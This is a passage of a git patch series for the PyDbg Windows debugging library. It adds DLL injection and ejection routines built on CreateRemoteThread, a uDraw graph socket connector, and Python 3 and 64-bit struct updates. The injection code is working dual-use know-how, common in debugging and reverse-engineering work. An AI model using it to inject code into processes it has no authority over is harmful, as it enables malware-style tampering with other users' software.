def inject_dll (self, dll_path, pid): + ''' + Inject a DLL of your choice into a running process. + + @type dll_name: String + @param dll_name: The path to the DLL you wish to inject + @type pid: Integer + @param pid: The process ID that you wish to inject into + + @raise pdx: An exception is raised on failure. + ''' + + dll_len = len(dll_path) + + # get a handle to the process we are injecting into. + h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid) + + # now we have to allocate enough bytes for the name and path of our DLL. + arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE) + + # Write the path of the DLL into the previously allocated space. The pointer returned + written = c_int(0) + kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) + + # resolve the address of LoadLibraryA() + h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") + h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA") + + # wow we try to create the remote thread. + thread_id = c_ulong(0) + if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)): + # free the opened handles. + kernel32.CloseHandle(h_process) + kernel32.CloseHandle(h_kernel32) + + raise pdx("CreateRemoteThread failed, unable to inject the DLL %s into PID: %d." % (dll_path, pid), True) + + # free the opened handles. + kernel32.CloseHandle(h_process) + kernel32.CloseHandle(h_kernel32) + + + #################################################################################################################### + def eject_dll (self, dll_name, pid): + ''' + Eject a loaded DLL from a running process. + + @type dll_name: String + @param dll_name: The name of the DLL you wish to eject + @type pid: Integer + @param pid: The process ID that you want to eject a DLL from + + @raise pdx: An exception is raised on failure. + ''' + + # find the DLL and retrieve its information. + ejectee = self.get_module_info(dll_name, pid) + + if ejectee == False: + raise pdx("Couldn't eject DLL %s from PID: %d" % (dll_name, pid)) + + # open the process. + h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid) + + # resolve the address of FreeLibrary() + h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") + h_freelib = kernel32.GetProcAddress(h_kernel32, "FreeLibrary") + + # now we try to create the remote thread hopefully freeing that DLL, the reason we loop is that + # FreeLibrary() merely decrements the reference count of the DLL we are freeing. Once the ref count + # hits 0 it will unmap the DLL from memory + count = 0 + while count <= ejectee.GlblcntUsage: + thread_id = c_ulong() + if not kernel32.CreateRemoteThread(h_process, None, 0, h_freelib, ejectee.hModule, 0, byref(thread_id)): + # free the opened handles. + kernel32.CloseHandle(h_process) + kernel32.CloseHandle(h_kernel32) + + raise pdx("CreateRemoteThread failed, couldn't run FreeLibrary()", True) + + count += 1 + + # free the opened handles. + kernel32.CloseHandle(h_process) + kernel32.CloseHandle(h_kernel32) + + + ############################################################################## + def get_module_info (self, dll_name, pid): + ''' + Helper function to retrieve the necessary information for the DLL we wish to eject. + + @type dll_name: String + @param dll_name: The name of the DLL you wish to eject + @type pid: Integer + @param pid: The process ID that you want to eject a DLL from + + @raise pdx: An exception is raised on failure. + ''' + + # we create a snapshot of the current process, this let's us dig out all kinds of useful information, including + # DLL info. We are really after the reference count so that we can decrement it enough to get rid of the DLL we + # want unmapped + current_process = MODULEENTRY32() + h_snap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pid) + + # check for a failure to create a valid snapshot + if h_snap == INVALID_HANDLE_VALUE: + raise pdx("CreateToolHelp32Snapshot() failed.", True) + + # we have to initiliaze the size of the MODULEENTRY32 struct or this will all fail + current_process.dwSize = sizeof(current_process) + + # check to make sure we have a valid list + if not kernel32.Module32First(h_snap, byref(current_process)): + kernel32.CloseHandle(h_snap) + raise pdx("Couldn't find a valid reference to the module %s" % dll_name, True) + + # keep looking through the loaded modules to try to find the one specified for ejection. + while current_process.szModule.lower() != dll_name.lower(): + if not kernel32.Module32Next(h_snap, byref(current_process)): + kernel32.CloseHandle(h_snap) + raise pdx("Couldn't find the DLL %s" % dll_name, True) + + # close the handle to the snapshot. + kernel32.CloseHandle(h_snap) + + # return the MODULEENTRY32 structure of our DLL. + return current_process diff --git a/utils/udraw_connector.py b/utils/udraw_connector.py new file mode 100644 index 0000000..6f4bbb0 --- /dev/null +++ b/utils/udraw_connector.py @@ -0,0 +1,268 @@ +# +# uDraw Connector +# Copyright (C) 2006 Pedram Amini +# +# $Id: udraw_connector.py 193 2007-04-05 13:30:01Z cameron $ +# +# This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public +# License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later +# version. +# +# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied +# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License along with this program; if not, write to the Free +# Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# +# Note: The majority of the uDraw functionality wrapper documentation was ripped directly from: +# +# http://www.informatik.uni-bremen.de/uDrawGraph/en/index.html +# + +''' +@author: Pedram Amini +@license: GNU General Public License 2.0 or later +@contact: pedram.amini@gmail.com +@organization: www.openrce.org +''' + +import socket + +class udraw_connector: + ''' + This class provides an abstracted interface for communicating with uDraw(Graph) when it is configured to listen on a + TCP socket in server mode. + + @todo: Debug various broken routines, abstract more of the uDraw API. + ''' + + command_handlers = {} + sock = None + + #################################################################################################################### + def __init__ (self, host="127.0.0.1", port=2542): + ''' + ''' + + self.command_handlers = {} + self.sock = None + + self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.sock.connect((host, port)) + + # receive the initial notification message. + self.sock.recv(8) + + self.log = lambda x: None + + + #################################################################################################################### + def change_element_color (self, element, id, color): + ''' + This command is used to update the attributes of nodes and edges that exist in the current graph. + ''' + + command = 'graph(change_attr([' + command += '%s("%08x",[a("COLOR","#%06x")])' % (element, id, color) + command += ']))\n' + self.send(command) + + + #################################################################################################################### + def focus_node (self, node_id, animated=True): + ''' + Scrolls the visible part of the graph visualization to the node specified by "node_id". + + @todo: This routine is buggy. Appears to only want to work when being called after a call to + change_element_color(), though the element color change will not actually work. Need to debug. + ''' + + if animated: + command = 'special(focus_node_animated("%08x"))\n' % node_id + else: + command = 'special(focus_node("%08x"))\n' % node_id + + self.send(command) + + + #################################################################################################################### + def graph_new (self, graph): + ''' + Sends a graph in term representation format to uDraw(Graph) for visualization. + ''' + + command = 'graph(new_placed(' + command += graph.render_graph_udraw() + command += '))\n' + + self.send(command) + + + #################################################################################################################### + def graph_update (self, graph): + ''' + This command can be used to update the structure of the currently loaded graph. + + @todo: This routine is not behaving appropriately, need to debug. + ''' + + command = "graph(mixed_update(" + command += graph.render_graph_udraw_update() + command += "))\n" + + self.send(command) + + + #################################################################################################################### + def layout_improve_all (self): + ''' + This command starts the layout algorithm to improve the visualization quality of the whole graph by reducing + unnecessary edge crossings and edge bends. + ''' + + command = "menu(layout(improve_all))\n" + self.send(command) + + #################################################################################################################### + def message_loop (self, arg1, arg2): + ''' + This routine should be threaded out. This routine will normally be called in the following fashion:: + + thread.start_new_thread(udraw.message_loop, (None, None)) + + The arguments to this routine are not currently used and will be ignored. + ''' + + while 1: + try: + from_server = self.sock.recv(1024) + (command, args) = self.parse(from_server) + + if self.command_handlers.has_key(command): + self.command_handlers[command](self, args) + except: + # connection severed. + break + + + #################################################################################################################### + def open_survey_view (self): + ''' + Open a survey view showing the whole graph in a reduced scale. + ''' + + self.send("menu(view(open_survey_view))\n") + + + #################################################################################################################### + def parse (self, answer): + ''' + ''' + + answer = answer.rstrip("\r\n") + self.log("raw: %s" % answer) + + # extract the answer type. + command = answer.split('(')[0] + args = None + + # if the answer contains a list, extract and convert it into a native Python list. + if answer.count("["): + args = answer[answer.index('[')+1:answer.rindex(']')] + + if len(args): + args = args.replace('"', '') + args = args.split(',') + else: + args = None + + # otherwise, if there are "arguments", grab them as a string. + elif answer.count("("): + args = answer[answer.index('(')+2:answer.index(')')-1] + + self.log("parsed command: %s" % command) + self.log("parsed args: %s" % args) + return (command, args) + + + #################################################################################################################### + def scale (self, parameter): + ''' + Sets the scale to the given parameter which is a percent value that must be from 1 to 100. + ''' + + if parameter in ["full_scale", "full"]: + parameter = "full_scale" + + elif parameter in ["fit_scale_to_window", "fit"]: + parameter = fit_scale_to_window + + elif type(parameter) is int: + parameter = "scale(%d)" % parameter + + else: + return + + self.send("menu(view(%s))\n" % scale) + + + #################################################################################################################### + def send (self, data): + ''' + ''' + + msg = "\n----- sending -------------------------------------------------------\n" + msg += data + "\n" + msg += "---------------------------------------------------------------------\n\n" + + self.log(msg) + self.sock.send(data) + + + #################################################################################################################### + def set_command_handler (self, command, callback_func): + ''' + Set a callback for the specified command. The prototype of the callback routines is:: + + func (udraw_connector, args) + + You can register a callback for any command received from the udraw server. + + @type command: String + @param command: Command string + @type callback_func: Function + @param callback_func: Function to call when specified exception code is caught. + ''' + + self.command_handlers[command] = callback_func + + + #################################################################################################################### + def window_background (self, bg): + ''' + Sets the background of the base window to the color specified by parameter bg. This is a RGB value like + "#0f331e" in the same format as used for command-line option -graphbg. + ''' + + command = 'window(background("%s"))' % bg + self.send(command) + + + #################################################################################################################### + def window_status (self, msg): + ''' + Displays a message in the right footer area of the base window. + ''' + + command = 'window(show_status("%s"))' % msg + self.send(command) + + + #################################################################################################################### + def window_title (self, msg): + ''' + Sets the title of the base window to msg. + ''' + + command = 'window(title("%s"))' % msg + self.send(command) \ No newline at end of file From 3e50d4f2e13fec9ed231efe8f2f5030193d81ca6 Mon Sep 17 00:00:00 2001 From: Remi Chateauneu Date: Mon, 17 Feb 2020 23:45:39 +0000 Subject: [PATCH 02/14] Python 3 import syntax. --- __init__.py | 22 +++++++++++----------- defines.py | 3 +-- pdx.py | 3 +-- 3 files changed, 13 insertions(+), 15 deletions(-) diff --git a/__init__.py b/__init__.py index 44d909e..83b0802 100644 --- a/__init__.py +++ b/__init__.py @@ -37,14 +37,14 @@ "windows_h", ] -from breakpoint import * -from defines import * -from hardware_breakpoint import * -from memory_breakpoint import * -from memory_snapshot_block import * -from memory_snapshot_context import * -from pdx import * -from pydbg import * -from pydbg_client import * -from system_dll import * -from windows_h import * \ No newline at end of file +from .breakpoint import * +from .defines import * +from .hardware_breakpoint import * +from .memory_breakpoint import * +from .memory_snapshot_block import * +from .memory_snapshot_context import * +from .pdx import * +from .pydbg import * +from .pydbg_client import * +from .system_dll import * +from .windows_h import * \ No newline at end of file diff --git a/defines.py b/defines.py index 2f813c9..4a4dcf4 100644 --- a/defines.py +++ b/defines.py @@ -33,8 +33,7 @@ @organization: www.openrce.org ''' -from my_ctypes import * -from windows_h import * +from .windows_h import * ### ### manually declare entities from Tlhelp32.h since i was unable to import using h2xml.py. diff --git a/pdx.py b/pdx.py index 65e4449..3caca18 100644 --- a/pdx.py +++ b/pdx.py @@ -24,8 +24,7 @@ import os.path -from my_ctypes import * -from defines import * +from .defines import * # macos compatability. try: From a9300baaa9069d2ad2fb895904cbaf1b3626523d Mon Sep 17 00:00:00 2001 From: Remi Chateauneu Date: Mon, 17 Feb 2020 23:50:12 +0000 Subject: [PATCH 03/14] 64 bits and Python 3 import syntax. --- windows_h.py | 297 +++++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 265 insertions(+), 32 deletions(-) diff --git a/windows_h.py b/windows_h.py index 6cf9086..eb58416 100644 --- a/windows_h.py +++ b/windows_h.py @@ -8,8 +8,10 @@ # flags 'windows.xml -s DEBUG_EVENT -s CONTEXT -s MEMORY_BASIC_INFORMATION -s LDT_ENTRY -s PROCESS_INFORMATION -s STARTUPINFO -s SYSTEM_INFO -s TOKEN_PRIVILEGES -s LUID -s HANDLE -o windows_h.py' # PEDRAM - line swap ... have to patch in our own __reduce__ definition to each ctype. -#from ctypes import * -from my_ctypes import * +from .my_ctypes import * + +import sys +is_64bits = sys.maxsize > 2**32 # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 4188 class _TOKEN_PRIVILEGES(Structure): @@ -113,8 +115,13 @@ class N10_LDT_ENTRY3DOLLAR_43DOLLAR_6E(Structure): ('Protect', DWORD), ('Type', DWORD), ] -assert sizeof(_MEMORY_BASIC_INFORMATION) == 28, sizeof(_MEMORY_BASIC_INFORMATION) -assert alignment(_MEMORY_BASIC_INFORMATION) == 4, alignment(_MEMORY_BASIC_INFORMATION) +if is_64bits: + assert sizeof(_MEMORY_BASIC_INFORMATION) == 40, sizeof(_MEMORY_BASIC_INFORMATION) + assert alignment(_MEMORY_BASIC_INFORMATION) == 8, alignment(_MEMORY_BASIC_INFORMATION) +else: + assert sizeof(_MEMORY_BASIC_INFORMATION) == 28, sizeof(_MEMORY_BASIC_INFORMATION) + assert alignment(_MEMORY_BASIC_INFORMATION) == 4, alignment(_MEMORY_BASIC_INFORMATION) + # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 1539 class _FLOATING_SAVE_AREA(Structure): pass @@ -163,6 +170,166 @@ class _FLOATING_SAVE_AREA(Structure): ] assert sizeof(_CONTEXT) == 716, sizeof(_CONTEXT) assert alignment(_CONTEXT) == 4, alignment(_CONTEXT) + +DWORD64 = c_ulonglong + + +# Define 128-bit 16-byte aligned xmm register type. +class M128A(Structure): + _pack_ = 16 + _fields_ = [ + ("Low", DWORD64), + ("High", DWORD64), + ] + +class DUMMYSTRUCTNAME(Structure): + _fields_ = [ + ("Header", M128A * 2), + ("Legacy", M128A * 8), + ("Xmm0", M128A), + ("Xmm1", M128A), + ("Xmm2", M128A), + ("Xmm3", M128A), + ("Xmm4", M128A), + ("Xmm5", M128A), + ("Xmm6", M128A), + ("Xmm7", M128A), + ("Xmm8", M128A), + ("Xmm9", M128A), + ("Xmm10", M128A), + ("Xmm11", M128A), + ("Xmm12", M128A), + ("Xmm13", M128A), + ("Xmm14", M128A), + ("Xmm15", M128A), + ] + +class _XSAVE_FORMAT32(Structure): + # align 16 + _fields_ = [ + ("ControlWord", WORD), + ("StatusWord",WORD), + ("TagWord",BYTE), + ("Reserved1",BYTE), + ("ErrorOpcode",WORD), + ("ErrorOffset",DWORD), + ("ErrorSelector",WORD), + ("Reserved2",WORD), + ("DataOffset",DWORD), + ("DataSelector",WORD), + ("Reserved3",WORD), + ("MxCsr",DWORD), + ("MxCsr_Mask",DWORD), + ("FloatRegisters",M128A*8), + + ("XmmRegisters",M128A*8), + ("Reserved4",BYTE*192), + ("StackControl", DWORD*7), # KERNEL_STACK_CONTROL structure actualy + ("Cr0NpxState",DWORD), + ] + +class _XSAVE_FORMAT64(Structure): + # align 16 + _fields_ = [ + ("ControlWord", WORD), + ("StatusWord",WORD), + ("TagWord",BYTE), + ("Reserved1",BYTE), + ("ErrorOpcode",WORD), + ("ErrorOffset",DWORD), + ("ErrorSelector",WORD), + ("Reserved2",WORD), + ("DataOffset",DWORD), + ("DataSelector",WORD), + ("Reserved3",WORD), + ("MxCsr",DWORD), + ("MxCsr_Mask",DWORD), + ("FloatRegisters",M128A*8), + + ("XmmRegisters",M128A*16), + ("Reserved4",BYTE*96), + ] + +if is_64bits: + XSAVE_FORMAT = _XSAVE_FORMAT64 +else: + XSAVE_FORMAT = _XSAVE_FORMAT32 +XMM_SAVE_AREA32 = XSAVE_FORMAT + +class DUMMYUNIONNAME(Union): + _fields_ = [ + ("FltSave", XMM_SAVE_AREA32), + ("DummyStructName", DUMMYSTRUCTNAME) + ] + +class _CONTEXT64(Structure): + _pack_ = 16 + _fields_ = [ + ("P1Home", DWORD64), + ("P2Home", DWORD64), + ("P3Home", DWORD64), + ("P4Home", DWORD64), + ("P5Home", DWORD64), + ("P6Home", DWORD64), + + ("ContextFlags", DWORD), + ("MxCsr", DWORD), + + ("SegCs", WORD), + ("SegDs", WORD), + ("SegEs", WORD), + ("SegFs", WORD), + ("SegGs", WORD), + ("SegSs", WORD), + ("EFlags", DWORD), + + ("Dr0", DWORD64), + ("Dr1", DWORD64), + ("Dr2", DWORD64), + ("Dr3", DWORD64), + ("Dr6", DWORD64), + ("Dr7", DWORD64), + + ("Rax", DWORD64), + ("Rcx", DWORD64), + ("Rdx", DWORD64), + ("Rbx", DWORD64), + ("Rsp", DWORD64), + ("Rbp", DWORD64), + ("Rsi", DWORD64), + ("Rdi", DWORD64), + ("R8", DWORD64), + ("R9", DWORD64), + ("R10", DWORD64), + ("R11", DWORD64), + ("R12", DWORD64), + ("R13", DWORD64), + ("R14", DWORD64), + ("R15", DWORD64), + ("Rip", DWORD64), + + ("DebugControl", DWORD64), + ("LastBranchToRip", DWORD64), + ("LastBranchFromRip", DWORD64), + ("LastExceptionToRip", DWORD64), + ("LastExceptionFromRip", DWORD64), + + ("DUMMYUNIONNAME", DUMMYUNIONNAME), + + ("VectorRegister", M128A * 26), + ("VectorControl", DWORD64), + + ("DebugControl", DWORD), + ("LastBranchToRip", DWORD), + ("LastBranchFromRip", DWORD), + ("LastExceptionToRip", DWORD), + ("LastExceptionFromRip", DWORD) +] +####### TODO: BROKEN +###############assert alignment(_CONTEXT64) == 16, alignment(_CONTEXT64) +assert sizeof(_CONTEXT64) == 1256, sizeof(_CONTEXT64) +CONTEXT64 = _CONTEXT64 + # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 498 class N12_SYSTEM_INFO4DOLLAR_37E(Union): pass @@ -199,8 +366,12 @@ class N12_SYSTEM_INFO4DOLLAR_374DOLLAR_38E(Structure): ('wProcessorLevel', WORD), ('wProcessorRevision', WORD), ] -assert sizeof(_SYSTEM_INFO) == 36, sizeof(_SYSTEM_INFO) -assert alignment(_SYSTEM_INFO) == 4, alignment(_SYSTEM_INFO) +if is_64bits: + assert sizeof(_SYSTEM_INFO) == 48, sizeof(_SYSTEM_INFO) + assert alignment(_SYSTEM_INFO) == 8, alignment(_SYSTEM_INFO) +else: + assert sizeof(_SYSTEM_INFO) == 36, sizeof(_SYSTEM_INFO) + assert alignment(_SYSTEM_INFO) == 4, alignment(_SYSTEM_INFO) CHAR = c_char LPSTR = POINTER(CHAR) LPBYTE = POINTER(BYTE) @@ -225,8 +396,13 @@ class N12_SYSTEM_INFO4DOLLAR_374DOLLAR_38E(Structure): ('hStdOutput', HANDLE), ('hStdError', HANDLE), ] -assert sizeof(_STARTUPINFOA) == 68, sizeof(_STARTUPINFOA) -assert alignment(_STARTUPINFOA) == 4, alignment(_STARTUPINFOA) +if is_64bits: + assert sizeof(_STARTUPINFOA) == 104, sizeof(_STARTUPINFOA) + assert alignment(_STARTUPINFOA) == 8, alignment(_STARTUPINFOA) +else: + assert sizeof(_STARTUPINFOA) == 68, sizeof(_STARTUPINFOA) + assert alignment(_STARTUPINFOA) == 4, alignment(_STARTUPINFOA) + # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 701 class N12_DEBUG_EVENT4DOLLAR_39E(Union): pass @@ -234,27 +410,52 @@ class N12_DEBUG_EVENT4DOLLAR_39E(Union): class _EXCEPTION_DEBUG_INFO(Structure): pass # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 3101 -class _EXCEPTION_RECORD(Structure): +class _EXCEPTION_RECORD32(Structure): pass -_EXCEPTION_RECORD._fields_ = [ +_EXCEPTION_RECORD32._fields_ = [ # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 3101 ('ExceptionCode', DWORD), ('ExceptionFlags', DWORD), - ('ExceptionRecord', POINTER(_EXCEPTION_RECORD)), + ('ExceptionRecord', POINTER(_EXCEPTION_RECORD32)), ('ExceptionAddress', PVOID), ('NumberParameters', DWORD), ('ExceptionInformation', UINT_PTR * 15), ] -assert sizeof(_EXCEPTION_RECORD) == 80, sizeof(_EXCEPTION_RECORD) -assert alignment(_EXCEPTION_RECORD) == 4, alignment(_EXCEPTION_RECORD) -EXCEPTION_RECORD = _EXCEPTION_RECORD +class _EXCEPTION_RECORD64(Structure): + pass +_EXCEPTION_RECORD64._fields_ = [ + # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 3101 + ('ExceptionCode', DWORD), + ('ExceptionFlags', DWORD), + ('ExceptionRecord', POINTER(_EXCEPTION_RECORD64)), # == DWORD64 + ('ExceptionAddress', PVOID), # == DWORD64 + ('NumberParameters', DWORD), + ( 'UnusedAlignment', DWORD), + ('ExceptionInformation', DWORD64 * 15), +] + +# https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-exception_record +if is_64bits: + EXCEPTION_RECORD = _EXCEPTION_RECORD64 + assert sizeof(_EXCEPTION_RECORD64) == 152, sizeof(_EXCEPTION_RECORD64) + assert alignment(_EXCEPTION_RECORD64) == 8, alignment(_EXCEPTION_RECORD64) +else: + EXCEPTION_RECORD = _EXCEPTION_RECORD32 + assert sizeof(_EXCEPTION_RECORD32) == 80, sizeof(_EXCEPTION_RECORD32) + assert alignment(_EXCEPTION_RECORD32) == 4, alignment(_EXCEPTION_RECORD32) + + _EXCEPTION_DEBUG_INFO._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 640 ('ExceptionRecord', EXCEPTION_RECORD), ('dwFirstChance', DWORD), ] -assert sizeof(_EXCEPTION_DEBUG_INFO) == 84, sizeof(_EXCEPTION_DEBUG_INFO) -assert alignment(_EXCEPTION_DEBUG_INFO) == 4, alignment(_EXCEPTION_DEBUG_INFO) +if is_64bits: + assert sizeof(_EXCEPTION_DEBUG_INFO) == 160, sizeof(_EXCEPTION_DEBUG_INFO) + assert alignment(_EXCEPTION_DEBUG_INFO) == 8, alignment(_EXCEPTION_DEBUG_INFO) +else: + assert sizeof(_EXCEPTION_DEBUG_INFO) == 84, sizeof(_EXCEPTION_DEBUG_INFO) + assert alignment(_EXCEPTION_DEBUG_INFO) == 4, alignment(_EXCEPTION_DEBUG_INFO) EXCEPTION_DEBUG_INFO = _EXCEPTION_DEBUG_INFO # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 645 class _CREATE_THREAD_DEBUG_INFO(Structure): @@ -273,8 +474,12 @@ class _CREATE_THREAD_DEBUG_INFO(Structure): ('lpThreadLocalBase', LPVOID), ('lpStartAddress', LPTHREAD_START_ROUTINE), ] -assert sizeof(_CREATE_THREAD_DEBUG_INFO) == 12, sizeof(_CREATE_THREAD_DEBUG_INFO) -assert alignment(_CREATE_THREAD_DEBUG_INFO) == 4, alignment(_CREATE_THREAD_DEBUG_INFO) +if is_64bits: + assert sizeof(_CREATE_THREAD_DEBUG_INFO) == 24, sizeof(_CREATE_THREAD_DEBUG_INFO) + assert alignment(_CREATE_THREAD_DEBUG_INFO) == 8, alignment(_CREATE_THREAD_DEBUG_INFO) +else: + assert sizeof(_CREATE_THREAD_DEBUG_INFO) == 12, sizeof(_CREATE_THREAD_DEBUG_INFO) + assert alignment(_CREATE_THREAD_DEBUG_INFO) == 4, alignment(_CREATE_THREAD_DEBUG_INFO) CREATE_THREAD_DEBUG_INFO = _CREATE_THREAD_DEBUG_INFO # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 651 class _CREATE_PROCESS_DEBUG_INFO(Structure): @@ -292,8 +497,12 @@ class _CREATE_PROCESS_DEBUG_INFO(Structure): ('lpImageName', LPVOID), ('fUnicode', WORD), ] -assert sizeof(_CREATE_PROCESS_DEBUG_INFO) == 40, sizeof(_CREATE_PROCESS_DEBUG_INFO) -assert alignment(_CREATE_PROCESS_DEBUG_INFO) == 4, alignment(_CREATE_PROCESS_DEBUG_INFO) +if is_64bits: + assert sizeof(_CREATE_PROCESS_DEBUG_INFO) == 72, sizeof(_CREATE_PROCESS_DEBUG_INFO) + assert alignment(_CREATE_PROCESS_DEBUG_INFO) == 8, alignment(_CREATE_PROCESS_DEBUG_INFO) +else: + assert sizeof(_CREATE_PROCESS_DEBUG_INFO) == 40, sizeof(_CREATE_PROCESS_DEBUG_INFO) + assert alignment(_CREATE_PROCESS_DEBUG_INFO) == 4, alignment(_CREATE_PROCESS_DEBUG_INFO) CREATE_PROCESS_DEBUG_INFO = _CREATE_PROCESS_DEBUG_INFO # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 664 class _EXIT_THREAD_DEBUG_INFO(Structure): @@ -327,8 +536,12 @@ class _LOAD_DLL_DEBUG_INFO(Structure): ('lpImageName', LPVOID), ('fUnicode', WORD), ] -assert sizeof(_LOAD_DLL_DEBUG_INFO) == 24, sizeof(_LOAD_DLL_DEBUG_INFO) -assert alignment(_LOAD_DLL_DEBUG_INFO) == 4, alignment(_LOAD_DLL_DEBUG_INFO) +if is_64bits: + assert sizeof(_LOAD_DLL_DEBUG_INFO) == 40, sizeof(_LOAD_DLL_DEBUG_INFO) + assert alignment(_LOAD_DLL_DEBUG_INFO) == 8, alignment(_LOAD_DLL_DEBUG_INFO) +else: + assert sizeof(_LOAD_DLL_DEBUG_INFO) == 24, sizeof(_LOAD_DLL_DEBUG_INFO) + assert alignment(_LOAD_DLL_DEBUG_INFO) == 4, alignment(_LOAD_DLL_DEBUG_INFO) LOAD_DLL_DEBUG_INFO = _LOAD_DLL_DEBUG_INFO # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 681 class _UNLOAD_DLL_DEBUG_INFO(Structure): @@ -337,8 +550,12 @@ class _UNLOAD_DLL_DEBUG_INFO(Structure): # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 681 ('lpBaseOfDll', LPVOID), ] -assert sizeof(_UNLOAD_DLL_DEBUG_INFO) == 4, sizeof(_UNLOAD_DLL_DEBUG_INFO) -assert alignment(_UNLOAD_DLL_DEBUG_INFO) == 4, alignment(_UNLOAD_DLL_DEBUG_INFO) +if is_64bits: + assert sizeof(_UNLOAD_DLL_DEBUG_INFO) == 8, sizeof(_UNLOAD_DLL_DEBUG_INFO) + assert alignment(_UNLOAD_DLL_DEBUG_INFO) == 8, alignment(_UNLOAD_DLL_DEBUG_INFO) +else: + assert sizeof(_UNLOAD_DLL_DEBUG_INFO) == 4, sizeof(_UNLOAD_DLL_DEBUG_INFO) + assert alignment(_UNLOAD_DLL_DEBUG_INFO) == 4, alignment(_UNLOAD_DLL_DEBUG_INFO) UNLOAD_DLL_DEBUG_INFO = _UNLOAD_DLL_DEBUG_INFO # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 685 class _OUTPUT_DEBUG_STRING_INFO(Structure): @@ -349,8 +566,12 @@ class _OUTPUT_DEBUG_STRING_INFO(Structure): ('fUnicode', WORD), ('nDebugStringLength', WORD), ] -assert sizeof(_OUTPUT_DEBUG_STRING_INFO) == 8, sizeof(_OUTPUT_DEBUG_STRING_INFO) -assert alignment(_OUTPUT_DEBUG_STRING_INFO) == 4, alignment(_OUTPUT_DEBUG_STRING_INFO) +if is_64bits: + assert sizeof(_OUTPUT_DEBUG_STRING_INFO) == 16, sizeof(_OUTPUT_DEBUG_STRING_INFO) + assert alignment(_OUTPUT_DEBUG_STRING_INFO) == 8, alignment(_OUTPUT_DEBUG_STRING_INFO) +else: + assert sizeof(_OUTPUT_DEBUG_STRING_INFO) == 8, sizeof(_OUTPUT_DEBUG_STRING_INFO) + assert alignment(_OUTPUT_DEBUG_STRING_INFO) == 4, alignment(_OUTPUT_DEBUG_STRING_INFO) OUTPUT_DEBUG_STRING_INFO = _OUTPUT_DEBUG_STRING_INFO # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 691 class _RIP_INFO(Structure): @@ -375,8 +596,12 @@ class _RIP_INFO(Structure): ('DebugString', OUTPUT_DEBUG_STRING_INFO), ('RipInfo', RIP_INFO), ] -assert sizeof(N12_DEBUG_EVENT4DOLLAR_39E) == 84, sizeof(N12_DEBUG_EVENT4DOLLAR_39E) -assert alignment(N12_DEBUG_EVENT4DOLLAR_39E) == 4, alignment(N12_DEBUG_EVENT4DOLLAR_39E) +if is_64bits: + assert sizeof(N12_DEBUG_EVENT4DOLLAR_39E) == 160, sizeof(N12_DEBUG_EVENT4DOLLAR_39E) + assert alignment(N12_DEBUG_EVENT4DOLLAR_39E) == 8, alignment(N12_DEBUG_EVENT4DOLLAR_39E) +else: + assert sizeof(N12_DEBUG_EVENT4DOLLAR_39E) == 84, sizeof(N12_DEBUG_EVENT4DOLLAR_39E) + assert alignment(N12_DEBUG_EVENT4DOLLAR_39E) == 4, alignment(N12_DEBUG_EVENT4DOLLAR_39E) _DEBUG_EVENT._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 697 ('dwDebugEventCode', DWORD), @@ -384,8 +609,12 @@ class _RIP_INFO(Structure): ('dwThreadId', DWORD), ('u', N12_DEBUG_EVENT4DOLLAR_39E), ] -assert sizeof(_DEBUG_EVENT) == 96, sizeof(_DEBUG_EVENT) -assert alignment(_DEBUG_EVENT) == 4, alignment(_DEBUG_EVENT) +if is_64bits: + assert sizeof(_DEBUG_EVENT) == 176, sizeof(_DEBUG_EVENT) + assert alignment(_DEBUG_EVENT) == 8, alignment(_DEBUG_EVENT) +else: + assert sizeof(_DEBUG_EVENT) == 96, sizeof(_DEBUG_EVENT) + assert alignment(_DEBUG_EVENT) == 4, alignment(_DEBUG_EVENT) LONG = c_long _LUID._fields_ = [ # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 394 @@ -419,5 +648,9 @@ class _LUID_AND_ATTRIBUTES(Structure): ('dwProcessId', DWORD), ('dwThreadId', DWORD), ] -assert sizeof(_PROCESS_INFORMATION) == 16, sizeof(_PROCESS_INFORMATION) -assert alignment(_PROCESS_INFORMATION) == 4, alignment(_PROCESS_INFORMATION) +if is_64bits: + assert sizeof(_PROCESS_INFORMATION) == 24, sizeof(_PROCESS_INFORMATION) + assert alignment(_PROCESS_INFORMATION) == 8, alignment(_PROCESS_INFORMATION) +else: + assert sizeof(_PROCESS_INFORMATION) == 16, sizeof(_PROCESS_INFORMATION) + assert alignment(_PROCESS_INFORMATION) == 4, alignment(_PROCESS_INFORMATION) From fd84e2f39161c7361421f9f262a8a89e2276a9ab Mon Sep 17 